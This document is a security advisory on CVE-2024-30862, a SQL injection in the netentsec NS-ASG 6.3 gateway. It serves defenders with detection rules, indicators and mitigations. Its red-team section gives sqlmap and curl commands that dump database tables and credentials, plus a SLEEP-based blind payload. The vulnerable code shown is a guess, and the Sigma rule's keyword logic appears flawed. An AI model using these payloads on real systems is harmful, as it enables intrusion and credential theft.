CVE-2024-30862

Executive Summary

CVE-2024-30862 identifies a critical SQL Injection vulnerability in the netentsec NS-ASG application security gateway, version 6.3. The flaw resides in the /3g/index.php endpoint, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, credential theft, and potential lateral movement within the network. No official patch has been released, and public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated SQL injection in a network security appliance), the estimated severity is Critical (CVSS 9.8). The attack vector is network-based, requires no privileges, and no user interaction. Exploitation can lead to complete compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the /3g/index.php script of the NS-ASG 6.3 appliance. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. An attacker can manipulate parameters (likely id, name, or similar) to break out of the intended SQL syntax and execute arbitrary statements. This is a classic SQL injection (CWE-89) flaw.

The NS-ASG is a web application firewall and gateway, making this vulnerability particularly dangerous as it undermines the security appliance itself. An attacker could extract the entire database, including administrative credentials, configuration data, and session tokens.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable code in /3g/index.php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);

A secure implementation would use parameterized queries:

// Patched code (hypothetical)
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: netentsec NS-ASG 6.3 with /3g/index.php exposed.
• Tool: sqlmap, curl, or custom script.

Exploitation Steps:

1. Identify injectable parameter:

   curl "http://target/3g/index.php?id=1'"
   

   If an SQL error is returned, the parameter is injectable.

2. Extract database version:

   sqlmap -u "http://target/3g/index.php?id=1" --batch --dbs
   

3. Dump tables and credentials:

   sqlmap -u "http://target/3g/index.php?id=1" -D nsasg --tables
   sqlmap -u "http://target/3g/index.php?id=1" -D nsasg -T users --dump
   

Manual PoC (time-based blind):

http://target/3g/index.php?id=1' AND SLEEP(5)--

Blue Team

Detection:

• Monitor for SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• Alert on unusual query patterns in web server logs, especially UNION, SELECT, SLEEP, or BENCHMARK keywords.
• Deploy WAF rules to block common SQL injection patterns.

Hunting:

• Search for requests to /3g/index.php with suspicious parameters (e.g., id=1' OR '1'='1).
• Correlate with database audit logs for unexpected queries.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /3g/index.php containing SQL keywords (UNION, SELECT, SLEEP, BENCHMARK).
  • Outbound database connections from the NS-ASG to unexpected IPs.
• Host:
  • Modified or new files in /var/www/html/3g/ (if accessible).
  • Unusual processes running as www-data or mysql.
• Logs:
  • Web server logs with 400 or 500 errors from /3g/index.php.
  • Database logs showing queries with UNION or OR 1=1.

Detection Engineering

YARA Rule

rule CVE_2024_30862_SQLi_NSASG {
    meta:
        description = "Detects SQL injection attempts against netentsec NS-ASG 3g/index.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-30862"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "SLEEP(" nocase
        $sqli4 = "BENCHMARK(" nocase
        $sqli5 = "information_schema" nocase
        $path = "/3g/index.php"
    condition:
        any of ($sqli*) and $path
}

Sigma Rule

title: CVE-2024-30862 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against netentsec NS-ASG 3g/index.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/3g/index.php'
        cs-uri-query|contains|all:
            - 'id='
            - "'"
            - 'OR'
            - 'UNION'
            - 'SLEEP'
            - 'BENCHMARK'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30862 SQL Injection Attempt"; flow:to_server; content:"/3g/index.php"; http_uri; content:"id="; http_uri; pcre:"/(\x27|OR|UNION|SLEEP|BENCHMARK)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NS-ASG appliance from untrusted networks if possible.
2. Apply virtual patching via a WAF (e.g., ModSecurity) to block SQL injection patterns.
3. Restrict access to /3g/index.php via firewall rules or .htaccess:

   <Files "index.php">
       Require ip 192.168.0.0/16
   </Files>
   

Long-term:

• Contact netentsec for an official patch or firmware update.
• Replace the appliance with a supported alternative if no patch is forthcoming.
• Conduct a full security audit of the NS-ASG configuration and logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert